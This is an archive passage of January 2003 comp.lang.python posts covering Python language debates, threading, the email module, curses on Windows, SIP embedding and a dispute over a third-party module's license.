> I stumbled onto the fact that Peter Norvig agrees with me. ;)

Damn, what is up with the mail<->news gateway?  I have no idea which
post he is referring to.  I also haven't seen my own posts for some time
(probably no big loss ;)

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From grante at visi.com  Sun Jan 19 10:55:57 2003
From: grante at visi.com (Grant Edwards)
Date: 19 Jan 2003 15:55:57 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <20030119124104.GB840@jsaul.de>
Message-ID: <slrnb2liua.ih7.grante@localhost.localdomain>

In article <20030119124104.GB840 at jsaul.de>, jsaul wrote:
> * Grant Edwards [2003-01-19 00:54]:
>> In article <b0cdjh$nsnhe$1 at ID-71831.news.dfncis.de>, James Kew wrote:
>>
>> >> For whatever historical reasons, operator overloading and
>> >> function/method overloading are usually considered as two separate
>> >> language features.  C and python have the former but not the latter.
>> >
>> > *cough* C has neither.
>>
>> Nonsense.  The operators + - * / do different things depending on the types
>> of their operands.  That's operator overloading.
> 
> Can you overload, say, the '*' operator to support multiplication
> of matrices or complex numbers in C as you can in both Python and
> C++? Obviously you can't. But you still call it 'operator
> overloading'?

Yes.  It's neither programmer-controlled not extensible, but C has
overloaded operators.

-- 
Grant Edwards                   grante             Yow!  BARBARA STANWYCK
                                  at               makes me nervous!!
                               visi.com            



From martin at v.loewis.de  Fri Jan 24 21:14:35 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 03:14:35 +0100
Subject: killing thread ?
In-Reply-To: <7xadhq8o6u.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com> <7xn0lqbkmh.fsf@ruckus.brouhaha.com> <3E31666F.8060605@v.loewis.de> <7xy95azf09.fsf@ruckus.brouhaha.com> <mailman.1043427344.24979.python-list@python.org> <7xadhq8o6u.fsf@ruckus.brouhaha.com>
Message-ID: <b0sru9$20c$05$1@news.t-online.com>

Paul Rubin wrote:
> On the Mac, you'd use SIGUSR2.  I don't see what's so hard to
> understand about this.  Threads are an OS-specific feature to begin
> with.  You have to expect the internal interface to them to also
> not necessarily be the same for every OS.

Not in Python; Python gives a uniform view to threading on all platforms 
where threading is supported in the first place. Portability would go to 
hell if every tiny feature could or could not be available on a certain 
system.

However, this is not the issue: it probably would be acceptable if the 
feature was not available on a certain system. It would be unacceptable 
if the feature was available but would cause interpreter crashes.

So the really hard issue is not understanding it, but implementing it. 
Feel free to contribute a patch.

Regards,
Martin




From davegaramond at icqmail.com  Fri Jan 17 23:05:17 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Fri, 17 Jan 2003 21:05:17 -0700
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com>
Message-ID: <3E28D27D.2030406@icqmail.com>

John Roth wrote:
> It also has a solution to one of the ugliest warts in Python:
> the fact that the .append(), .sort() and .reverse() methods
> don't return an updated value, so you can't chain them.
> 
> The rest of the differences other people have pointed out
> (other than the size of the library) are, to me, relatively
> minor.

that "ugliest wart" you mentioned is, to me, relatively minor (no, make 
that one _really_ minor issue). in fact, many differences in language 
syntaxes and features have become relatively minor to me.

we all have ideal expectations of what a language should be, and every 
language we encounter will invariably fall short of that ideal. it's 
impossible enough to design a perfect language, much less a perfect 
language for everybody. every language has its warts and 
that-one-feature that we think is just missing. python numbers can't 
take methods, ruby doesn't have keyword arguments, python enforces 
indentation, ruby can't produce compiled bytecodes, ... big deal. in the 
end, it all boils down to "which language makes me more productive".

and to me, it seems that that language is ruby for now. i do love python 
very much, but i was a perl programmer for years and coding in python 
makes me miss things like builtin regex, statement modifiers, assignment 
as expressions, and the many other conveniences that perl provides. ruby 
tries _very hard_ to offer me those conveniences and so i'm pulled in. 
because i was productive in perl, i can become productive quickly too in 
ruby. python makes me productive too, but i guess not as much as ruby. 
everybody's mileage may (and should) vary.

so nowadays i spent the majority of my coding hours in ruby. perl and 
python comes second and third.

-- 
dave





From robin at execulink.com  Fri Jan 10 17:17:23 2003
From: robin at execulink.com (robin)
Date: Fri, 10 Jan 2003 17:17:23 -0500
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <v1ofnamn6ai771@corp.supernews.com> <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org> <3E1CAFB3.73CEA6A7@engcorp.com>
Message-ID: <cvqs1v8r92i7b75d1td0eujsjd69p5kr40@4ax.com>

Peter Hansen <peter at engcorp.com> wrote:

>And the University of Waterloo is the best undergrad school for CS
>in North America.  Probably for the rest of the world, too. :-)

I cannot say it is the best, but know it by reputation and quality of
graduates to at least be one of the best. I've actually hired from
there, so I do put my money where my mouth is. I do not think they
teach Python, so they could be better still!

-- robin



From t_beaty at mchsi.com  Tue Jan  7 22:47:39 2003
From: t_beaty at mchsi.com (Travis Beaty)
Date: Wed, 08 Jan 2003 03:47:39 GMT
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <MRLN2891445009@merlin.envox.local.hr>
Message-ID: <vbNS9.484037$GR5.191947@rwcrnsc51.ops.asp.att.net>

I just eyeballed the Eiffel web site.  Eiffel Studio is only $8000.  I 
was sort of interested, until I happened to come across the price, at 
which point my mouse started to tingle.

I suppose the free version would be okay, but are GPL'ed apps considered 
"non-commercial"?  If not, there would be no sense in my delving 
seriously into their free version if I can't release anything, and even 
when I do get to that point, it would take just long enough to save up 
$8000 that by the time I sent off the money order, the price would be 
$16,000.  LOL

That having been said, Eiffel would still be worth your looking into, 
perhaps, because chances are that, if you used your Eiffel training, it 
would be in a corporate setting where they've paid the licensing fee, 
not you.  I don't want to discourage your looking into Eiffel, I just 
found the sticker shock to be quite dazzling.  That's all I'll say about 
the Eiffel thing, because this is, after all, a Python group.  <snicker>

And yes, folks, I'm not a professional programmer, I'm a forklift driver 
that is trying to learn to *be* a professional programmer.

One thing I would say is that you do have it quite a bit easier, 
stepping in at this point without any experience.  Just like you, I got 
interested in programming in high school (the mid 1980s), before OOP was 
the "big thing."  In fact, my first language was TRS-DOS BASIC, but the 
one I really took to at the time was USCD Pascal on an apple IIc.

After high school, my life took a different route and I ran off and 
joined the circus.  Uh ... I mean, the Army.  At any rate, I strayed 
away from programming until 1997.  My biggest struggle in learning the 
new languages has been the fact that I have such trouble grasping the 
concept of OOP.  This is one of the reasons why Python has an appeal -- 
with Java, I'm forced to "OOP or nothing," and I flop horribly at it. 
With Python, I've found a sort of happy medium, where I've been slowing 
easing myself into the "modern paradigm" of objects.

Since you will be starting out with objects, classes, inheritance, 
polymorphine ... uh ... polymorphism, etc., you will have a lot easier 
time because you will not have to unlearn the procedural way of looking 
at a problem.

I've studied C++, and while I am not in complete agreement that it is 
completely unlearnable within a month or two, the language is like 
scrubbing your kitchen floor with a toothbrush ... yeah, it gets the 
floor clean, but damn it's a lot of work.  Just for my own uses, anyway, 
Python is superb, quite easy to pick up, and I've found that the kitchen 
floor comes just as clean if I use a mop.

Okay, I'll shut up now.  Thanks for putting up with me.

Have a wonderful day!

Travis Beaty
Mason City, Iowa.



Hrvoje Nezic wrote:
> Hi,
> 
> I have a very long experience in programming in different
> languages. For long time I programmed in C.
> Then I become familiar with object oriented programming
> through Smalltalk. When  C++ compilers appeared I
> started to program in C++ and I do it now, not
> because this is my decision, but because my company
> forces me to do so. If I could choose by myself, I
> would never, never choose C++ (after having long experience
> in using it). I am also familiar with Java and C#.

<snip>

> I would suggest you to try both. You can download
> ISE Eiffel at www.eiffel.com . A free version is about
> 50 Mb. I am not sure for Mac, but Visual Eiffel has
> a version for Mac. Eiffel environments give you certain
> important features that cannot be easily found elsewhere.
> Also, compared with Python, the free ISE Eiffel compiler
> comes with a full featured, professional debugger, and this
> is something I miss in Python.
> 
> Eiffel has very clean and understandable syntax, and this
> is why it is used on many universities in introductory
> programming courses.
> 
> Regards,
> Hrvoje Nezic
> 




From peter at engcorp.com  Sun Jan  5 21:33:43 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 05 Jan 2003 21:33:43 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <slrnb1g1qr.sgg.karsten@datasink.webmonster.de> <3E1848DA.DE85B247@engcorp.com> <mailman.1041781509.19623.python-list@python.org> <slrnb1hca9.1ht7.karsten@datasink.webmonster.de>
Message-ID: <3E18EB07.6CCA51BE@engcorp.com>

"Karsten W. Rohrbach" wrote:
> 
> As for the ".NET vs. Python" issue, I think the message was clear
> enough. One of them is a framework, one might call it more a strategy.
> The other one is a programming language.
> 
>     >>> hair.split()
>     ['But', "isn't", 'Python', 'also', 'a', 'strategy?']

I like that!  I think I'll use it at work sometime:

'Our Python strategy has been very effective so far' sounds
much more impressive than "most of our code is now written
in Python".  <0.35 wink>

-Peter



From max at alcyone.com  Tue Jan 28 02:01:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 27 Jan 2003 23:01:46 -0800
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com> <3E35A9B3.87D605DC@engcorp.com> <889cbba0.0301271948.3c8843fc@posting.google.com>
Message-ID: <3E362ADA.6416043D@alcyone.com>

Kamilche wrote:

> Calling a method on a string SEEMS like it should modify the original,
> not create a new one, but I guess strings are 'special' all the way
> around.  To me, it's kinda like saying 'person.logon(logonid,
> password)' creating a new person object and logging them on, while
> leaving the original person untouched.

In many languages where fundamental types are represented with objects,
the objects for some of those types are immutable for efficiency
purposes.  Doing it this way means that you can make a lot of
optimizations that simply would not be possible otherwise, since you'd
have to take into account the possibility of the value in the object
changing underneath you.  Java's string class (java.lang.String), for
instance, is immutable, like Python's.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Peace with a cudgel in hand is war.
\__/ (a Portugese proverb)
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From martin at v.loewis.de  Sat Jan 25 06:24:09 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 25 Jan 2003 12:24:09 +0100
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de> <b0ss8g$20c$05$2@news.t-online.com> <7xsmvhq2bc.fsf@ruckus.brouhaha.com>
Message-ID: <m3fzrhwjza.fsf@mira.informatik.hu-berlin.de>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:

> > > so, what about a new PEP : extend the exec method by limiting
> > > the execution time and memory usage ...
> > 
> > That PEP would have to come with a suggested implementation strategy.
> 
> Neither seems terribly difficult; just have the interpreter keep track
> of how much time and memory have been consumed.  CPU time may be hard
> to measure on a per-thread basis, but certainly it can count byte
> codes executed, which should be enough for the purpose.

How about memory usage?

Regards,
Martin



From i.linkweiler at web.de  Wed Jan 29 18:20:36 2003
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Thu, 30 Jan 2003 00:20:36 +0100
Subject: ImportError: No module named _curses ?
Message-ID: <3E3861C4.8090609@web.de>

Hi,

can you explain this import error?

PythonWin 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32.
 >>> import curses
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
   File "C:\Python22\lib\curses\__init__.py", line 15, in ?
     from _curses import *
ImportError: No module named _curses



I am using Python with PythonWin (also tested all 2.2.* versions and 
Active Python on different machines with Win2K)
I thought curses is included in the python distributions. What is missing?

I only need some simple, but OS-independend functions like this
c = readkey()
clearscreen()
Do you know any other module I can use?

Ingo




From mcgd at yahoo.com  Tue Jan 14 14:24:46 2003
From: mcgd at yahoo.com (Maria Clara)
Date: 14 Jan 2003 11:24:46 -0800
Subject: how I call the program in windows using python
Message-ID: <6e1513c6.0301141124.148bfef0@posting.google.com>

I like to run one program of windows for example ejemplo.bat using zope



From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 17:03:57 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 22:03:57 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <805j3vo0jimcdl8aj0pgfagj7rufm26avp@4ax.com>
Message-ID: <6q7j3v44j815grtu2k1pq9tqcdvv3akgd8@4ax.com>

Chirayu Krishnappa <thephoenix235 at gmx.net> wrote:

>I'd like to ask how you get these maybe arg or list things in the
>first place. i presume they are the result of a function call. do you
>have too many such functions? (generally well written function which
>might return a list will return a list even for a single element so
>you can have uniformly written code. the cgi module's FieldStorage
>class' getitem() function is a notable exception.) 
>
>if you find that you need to do this for just a small bunch of
>functions - perhaps you could write wrappers for those functions to
>always return a list and use them instead.
>
>Chirayu.
>
I've considered that but in most situations it is cleaner and more
natural to supply a single arg rather than a list of one item.

For a quickly invented example, consider a database class that accepts
a 'keyField' parameter. In most cases, a single value will suffice.
However some tables need two key values.

dbTable('tblMembers', keyField='memberID')
dbTable('tblPermissions', keyField=('memberID', 'permissionID'))

Turning the first keyField into a single item list (or tuple) looks
untidy.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From wesc at deirdre.org  Fri Jan  3 02:26:43 2003
From: wesc at deirdre.org (wesc at deirdre.org)
Date: Thu, 2 Jan 2003 23:26:43 -0800 (PST)
Subject: ANN: Python Programming course (Silicon Valley, CA)
Message-ID: <200301030726.h037QhT14596@alpha.ece.ucsb.edu>

"Python Programming" course
UC Santa Cruz, Winter Quarter 2002
Jan 6 - Mar 17, 2003 (except Jan 20, 27 and Feb 17)
Monday nights, 6:30 - 9:30pm
Sunnyvale, California

just a reminder that if you are in the Silicon Valley area
and are interested or know people who are, that the course
is scheduled to start this coming Monday, so sign up fast,
or show up to the 1st course to register!

http://artemis.ucsc-extension.edu/~wesc/013e44cd.htm

Register online, or contact Sherry at 408-861-3765 or
smirkarimi at ucsc-extension.edu to enroll.

hope 2 c some of u there!

-wesley

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"Core Python Programming", Prentice Hall PTR, ? 2001
    http://starship.python.net/crew/wesc/cpp/

Silicon Valley-San Francisco Bay Area Python Users Group (BayPIGgies)
    http://www.baypiggies.net

wesley.j.chun :: wesc at deirdre.org
cyberweb.consulting : henderson, nv : cyberweb at rocketmail.com
http://roadkill.com/~wesc/cyberweb/





From martin at v.loewis.de  Mon Jan  6 05:13:02 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 06 Jan 2003 11:13:02 +0100
Subject: Displaying and Inputting Japanese
References: <b6c0a2c6.0301031601.cb5a80f@posting.google.com> <33803989.0301050658.34132dfe@posting.google.com> <b6c0a2c6.0301051516.5b2096d5@posting.google.com>
Message-ID: <m3lm1yh9ht.fsf@mira.informatik.hu-berlin.de>

arigreen at stanford.edu (Ari Greenberg) writes:

> Thanks for your message. Unfortunately, when I tried adding that line
> to my config-win.txt file, the IDLE fonts were different but they
> still didn't display Japanese. I think my problem has to do with using
> the Japanese codecs. I include an import japanese line at the top of
> my script, but it doesn't seem to help. Is there something else that
> must be done?

This is a confusing (confused?) question: Why should an import
statement in your application have any effect on IDLE? IDLE does not
read your code (except for syntax structure), so putting import
statements in it will have no effect.

Is the problem that you cannot enter Japanese characters into IDLE, or
is the problem that you cannot do so in your application?

Regards,
Martin




From adalke at mindspring.com  Wed Jan 29 21:25:58 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Jan 2003 19:25:58 -0700
Subject: int('0.0') throws an exception
In-Reply-To: <mailman.1043886600.9635.python-list@python.org>
References: <mailman.1043886600.9635.python-list@python.org>
Message-ID: <b1a2fp$orm$1@slb9.atl.mindspring.net>

Bjorn Pettersen wrote:
> It behaves exactly as documented (Library Ref. 2.1): "If the argument is
> a string, it must contain a possibly signed decimal number representable
> as a Python integer...".

Huh.  Since int takes an optional radix, shouldn't that "decimal" be
omitted?

					Andrew
					dalke at dalkescientific.com




From DeadWisdom at wisefool.net  Sat Jan  4 03:04:19 2003
From: DeadWisdom at wisefool.net (DeadWisdom)
Date: 4 Jan 2003 00:04:19 -0800
Subject: Explicit Frustration of the Self
References: <mailman.1041557423.23389.python-list@python.org>
Message-ID: <a1d2c9b4.0301040004.74d61d3f@posting.google.com>

Andres Rosado <arosado at softhome.net> wrote in message news:<mailman.1041557423.23389.python-list at python.org>...
> Have you programmed in C++? One of the main problems I find in C++ is the 
> implicit *this. Sure, it looks more compact and more cleaner, but as 
> projects get more complicated, you end up using this a lot more than you 
> thought. Handling more than on object of the same class inside the class 
> will give you a reasonable idea of the problem.
> 
> ... 

Yes, I have actually.  I find the use of this-> redundant and an
excuse for bad programming.  Good programming, in my opinion, should
use variables that make sense, and are easy to read, etc.  I don't
believe "this->" to be usefull at all, in well programmed source. 
Ofcourse maybe I'm just idealistic about it.  Either way, C++ allows
you to decide whether or not to do it.  To be under the tyrany of the
Python self, I dislike it.



From brian at rk-speed-rugby.dk  Tue Jan 21 02:26:54 2003
From: brian at rk-speed-rugby.dk (Brian Elmegaard)
Date: 21 Jan 2003 08:26:54 +0100
Subject: Python spreadsheet
References: <b0hi2e$jh0$1@news.tpi.pl> <pan.2003.01.20.20.16.38.910452@dynacare.com> <mailman.1043097209.31781.python-list@python.org>
Message-ID: <uof6b0xq9.fsf@rk-speed-rugby.dk>

pinard at iro.umontreal.ca (Fran?ois Pinard) writes:

> For one, I like the `SES' (Simple Emacs Spreadsheet), it's more affordable
> than the usual monsters :-).  

Wow, the one thing I believed didn't exist for emacs. (Of course, I am
quite na?ve.) 

-- 
Brian (remove the sport for mail)
http://www.et.dtu.dk/staff/be



From adalke at mindspring.com  Thu Jan  9 05:32:52 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 03:32:52 -0700
Subject: Two email module questions
In-Reply-To: <mailman.1042104496.12144.python-list@python.org>
References: <mailman.1042104496.12144.python-list@python.org>
Message-ID: <avjjis$ebk$1@slb3.atl.mindspring.net>

Paul Mackinney wrote:
> 1. There are two obvious ways to use email.message_from_file. Am I
> correct in assuming that method a. is prefered, because method b. leaves
> an open file with no convenient way to close it?
> 
>    a. fn  = file('foo','r')
>       msg = email.message_from_file(fn)
>    		fn.close()
>     
>    b. msg = email.message_from_file(file('foo','r'))

There was a thread about this a week or two back.  It comes down to,
do you trust garbage collection or not?  If not, you'll probably want
to do

fn = file('foo', 'r')
try:
   msg = email.message_from_file(fn)
finally:
   fn.close()

I personally don't worry about it and go for b.

> 2. After importing a message, I get a bogus extra line at the top when I
>    print it:
  ...
>    >>> msg = message_from_file('foo')
>    >>> print msg
>    From nobody Thu Jan  9 01:16:54 2003
  ...
> What's going on here? The 'From nobody...' line doesn't show in
> msg.keys(), I couldn't find this behavior in the docs.

That's the "unixfrom" option.  Look at email.Message.__str__ and
you'll see


def __str__(self):
     """Return the entire formatted message as a string.
     This includes the headers, body, and envelope header.
     """
     return self.as_string(unixfrom=True)

def as_string(self, unixfrom=False):
     """Return the entire formatted message as a string.
     Optional `unixfrom' when True, means include the Unix From_ envelope
     header.
     """
     from email.Generator import Generator
     fp = StringIO()
     g = Generator(fp)
     g.flatten(self, unixfrom=unixfrom)
     return fp.getvalue()

So try 'print msg.tostring()'


(Erm, this is Python 2.3. Python 2.2's 'email' uses 0 and 1 instead
of False and True.)

					Andrew
					dalke at dalkescientific.com




From pyth at devel.trillke.net  Thu Jan  9 08:16:04 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 9 Jan 2003 14:16:04 +0100
Subject: Do pythons like sugar?
In-Reply-To: <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com>; from abelikov72@hotmail.com on Thu, Jan 09, 2003 at 12:54:24PM +0000
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com>
Message-ID: <20030109141604.L349@prim.han.de>

Afanasiy wrote:
> On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
> <andrew-pythonlist at puzzling.org> wrote:
> 
> >On Thu, Jan 09, 2003 at 10:47:13AM +0000, Afanasiy wrote:
> >> On Thu, 09 Jan 2003 03:25:41 -0700, some Dalke wrote:
> >> 
> >> >Afanasiy wrote:
> >> >>>A few languages provide syntax sugar for dealing with
> >> >>>this by allowing you to localize the class scope.
> >> >>>
> >> >>>Does Python? eg. `with self do:`
> >> >
> >> >> So the answer is a definitive no? I want to do things as I have them,
> >> >> I don't want to change my design just to be able to type 'self' less.
> >> >
> >> >It's a definite no.  From previous accounts, said sugar is hiding
> >> >rat poison.  It's advantages are slight to its disadvantages.  Eg,
> >> >for your case it would have hid a poor implementation rather than
> >> >yield a better one.
> >> 
> >> You don't know what I am doing. My design is perfect.
> >
> >What is good design for one language isn't necessarily good design for
> >another.  Python offers different features to, say, C++, and is best used in
> >different ways.  I would recommend that you try to understand the pythonic
> >world-view better, rather than insisting on imposing your preconceptions on
> >us... my experience agrees with Andrew Dalke's; explicit self is much better
> >than the alternatives.
> 
> If the "pythonic world-view" is that code which would look better with
> implicit self is "poor implementation", then no, I do not agree with it.
> 
> Please note I am not complaining out about the lack of this possibility.
> I only have a problem with the condescending tones. I guess it's normal.

They probably stem from strong oppinions about the "virtues" of implicit
instance references.  I guess i can understand the intentions of 
both sides.  

Sometimes you are doing lots of accesses to instance attributes 
in a specific (e.g. algorithmic) part of a method.  It makes sense 
to have a mechanism which lets you specify that certain
(otherwise local) names refer in fact to instance attributes. 

Good news is that i am currently implementing something
along these lines which allows to 'connect' local names with
instance attributes.  You have to explicitely specify these
names, though.  hopefully this will appeal to both sides.

cheers,

    holger




From p-abel at t-online.de  Thu Jan 16 16:32:22 2003
From: p-abel at t-online.de (Peter Abel)
Date: 16 Jan 2003 13:32:22 -0800
Subject: Regex replacement operation
References: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au> <mailman.1042698629.26788.python-list@python.org>
Message-ID: <13a533e8.0301161332.50a6fae5@posting.google.com>

S O R R Y ! !

I got the wrong order.
This one is better:
>> format=lambda match:'%04d-%02d-%02d'%(int(match.group(3)),int(match.group(2)),int(match.group(1)))
>>> re.sub(r'(\d+)-(\d+)-(\d+)',format,s)
'Today is 2003-01-16 or 2003-01-16. New Year was 2003-01-01,
reportedly.'
>>>



From martin at v.loewis.de  Wed Jan  1 01:42:51 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 01 Jan 2003 07:42:51 +0100
Subject: Extension modules, Threading, and the GIL
References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <ausj3l$ipd$0@216.39.172.122> <ausjsg$c6f$07$1@news.t-online.com> <aust1q$9on$0@216.39.172.122> <ausul3$qmc$07$1@news.t-online.com> <aut8lp$61d$0@216.39.172.122>
Message-ID: <m3znql2wwk.fsf@mira.informatik.hu-berlin.de>

bokr at oz.net (Bengt Richter) writes:

> PyEval_AcquireThread(tstate) requires a tstate to swap in when
> acquiring the lock, AFAICS, and a raw OS thread would not have a
> tstate unless it built one. I was trying to suggest that there might
> be a thread in Dave's universe that doesn't have a tstate built, and
> therefore can't properly acquire the lock. That's why I was musing
> on the possibility of an OS thread automatically having a tstate
> built for it if it didn't have one.

This is unlikely. tstate isn't a global variable, so if you invoke
AcquireThread, you have to create a thread state yourself first. This
is independent of whether the thread was created with
start_new_thread: When you are in a position to invoke AcquireThread,
you *never* have a thread state you could use, you always have to
create one (unless you can come up with some clever machinery, such as
storing the thread state in TLS). People using AcquireThread usually
know this.

Of course, without inspecting the actual source, this is all
speculation.

Regards,
Martin




From Mongryong at sympatico.ca  Thu Jan 30 14:02:09 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 30 Jan 2003 14:02:09 -0500
Subject: Help a C++ coder see the light
In-Reply-To: <memo.20030130181135.820C@a.radioscape.com>
References: <memo.20030130181135.820C@a.radioscape.com>
Message-ID: <1043953330.1382.62.camel@refugeeMedia>

Check out PyChecker: http://pychecker.sourceforge.net/

Then, write lots of unit tests.  

If you're concern about type-checking, don't be.  If a paramter does not
support a 'feature', an exception is thrown and you can figure out where
the fault is.  Remember, Python is all about polymorhism and re-use.

Oh, there is a way to do run-time type-checking in Python but its
needless overhead and very bad.  It's one of the many ways in Python
that you'll end up shooting yourself in the foot or blowing off your
leg.





From tlavoie at acm.org  Tue Jan 28 16:14:32 2003
From: tlavoie at acm.org (Tim Lavoie)
Date: 28 Jan 2003 15:14:32 -0600
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu>
Message-ID: <877kcp6kp3.fsf@theasylum.dyndns.org>

>>>>> "Eric" == Eric Mattes <ericmattes at yahoo.com> writes:

    Eric> Sorry, I should have been more specific about the intent of
    Eric> this program. I am intending to distribute the program in a
    Eric> form which does

    Eric> not require an internet connection. I wanted a python
    Eric> program to act as a server so that it can receive requests
    Eric> from a browser pointing to localhost.

    Eric> The program is a turn-based game, so it is suitable for web
    Eric> browser implementation. I'm just wondering if its feasable
    Eric> to have the whole app (server and all) in one package.

Just out of curiosity, why did you want to use a browser for the
interface on a local-only game? Pygame is excellent for this sort of
thing, and possibly much easier to use and write. Don't get me wrong,
the browser idea works well for lots of things, but you don't want to
miss out on other options.

  Cheers,
  Tim

-- 
I finally went to the eye doctor.  I got contacts.  I only need them to
read, so I got flip-ups.
                -- Steven Wright



From sxa at fluent.com  Mon Jan  6 11:15:57 2003
From: sxa at fluent.com (Sebastien Auclair)
Date: Mon, 6 Jan 2003 11:15:57 -0500
Subject: What's wrong with this code ?
Message-ID: <avca32$ei7$1@duck.Fluent.COM>

See code example below !

We are embeding python and our C++ software is trying to get an C++ pointer
to an C++ object instantiated in a python module.
This python Class "MyClass" is a sub-class of the C++ "An_Insterface*" class
declared in  library "A_Lib" that is of course accessible through SIP
bindings.


The few lines :
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
An_Interface* m_interface = NULL;

 PyObject *mdict = NULL;
 PyObject *func1 = NULL;
 PyObject * v1 = NULL;
 PyObject * sipClass;
 int bErrorOccured = 0;

   initlibsip();

   mdict = PyModule_GetDict(m_pylib); // m_pylib is the compiled python
file... this isvalid...It was tested.
   func1 = PyDict_GetItemString(mdict, "CreateInstance"); // The function
that returns an instance of the desired class. (as a pointer)
   v1 = PyObject_CallObject(func1,NULL); // v1 will then contain some value
other than NULL

   if (v1 == Py_None || sipIsSubClassInstance(v1,sipClass)){
        file://Interesting !! This (if) test will always be FALSE (For both)
   }
    /////          HERE ARE THE CONVERSION ATTTEMPS !!!!!!!!!!!!!!
   m_interface = (An_Interface*)sipConvertToCpp (v1,sipClass,
&bErrorOccured);    // returns NULL with bErrorOccured == 1
   m_interface =  sipForceConvertTo_An_Interface(v1, &bErrorOccured);   //
returns NULL with bErrorOccured == 1
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Of course, the two last lines are both trying to do the same thing. It is
just to show you what we tried.


The python file, in short, looks like this :
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

def CreateInstance(  ):
    return MyClass ()

class MyClass (A_Lib.An_Interface):
        def __init__(self):
                A_Lib.An_Interface.__init__(self)
 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>






From ajs at ix.netcom.com  Mon Jan 20 08:33:29 2003
From: ajs at ix.netcom.com (Arthur)
Date: Mon, 20 Jan 2003 08:33:29 -0500
Subject: license
Message-ID: <000901c2c088$85f89020$67a09840@Arts>

Terry wrties -

>Yes, I certainly find that impertinent. Impertinent, oppressive,
>controlling, litigious, and totally and completely opposed to Freedom. And
>I guess in my book, that's pretty nearly a description of Perfect Evil.
>Those are my values, and I don't plan on changing them to accomodate you.

Perfect Evil.

That's even better than just being wrong.

I'm truly agog.

Viruses tend also to be free.

Yes, I'm being hyperbolic.  But its only a matter of degree, as far as I'm
concerned.

The license thing was an exploration.  If unreasonable, I, for one, am
willing to meet unreason with unreason.  The distributor could choose to
avoid this entire issue with two minutes of effort, and has refused.

This is also an issue of community, in my mind.

If there is some general community agreement about how 3rd party Python
modules should install and behave - and I believe there is - shouldn't there
be some community support for an effort to discourage blatant, unnnecessary
